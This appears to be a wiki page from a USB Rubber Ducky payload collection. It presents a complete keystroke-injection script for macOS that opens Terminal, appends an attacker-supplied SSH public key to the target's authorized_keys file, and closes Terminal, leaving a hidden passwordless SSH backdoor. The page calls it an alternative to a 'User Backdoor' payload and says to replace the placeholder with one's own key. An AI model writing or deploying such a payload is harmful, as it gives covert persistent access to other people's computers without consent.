wiki-rubber-ducky-usb/Payload---OSX-Passwordless-...

1.3 KiB

Author: Jesse Wallace (c0deous)

This script adds an ssh public key to the authorized_keys file on a target's mac. After running you can connect to the target computer with ssh targetuser@targetcomputer and you will be granted access without a password. This a good alternative to the OS X User Backdoor payload. For more information on generating an id_rsa.pub read this (steps 1 & 2). Note: I reccomend you use duckencoder 2.6.3 to encode these payloads.

Replace RSA_PUB_ID with your SSH Public Key.

REM Title: OS X Get SSH access
REM Author: Jesse Wallace (c0deous)
REM This script adds a ssh public key to the authorized_keys file on a target's mac.

DELAY 1000
COMMAND SPACE
DELAY 500
STRING Terminal
DELAY 500
ENTER
DELAY 800
STRING echo 'RSA_PUB_ID' >> ~/.ssh/authorized_keys
ENTER
DELAY 1000
STRING killall Terminal
ENTER

REM Note: you may shorten the times if you think they are too slow.  I made them to accomodate older macs that can't get around very fast.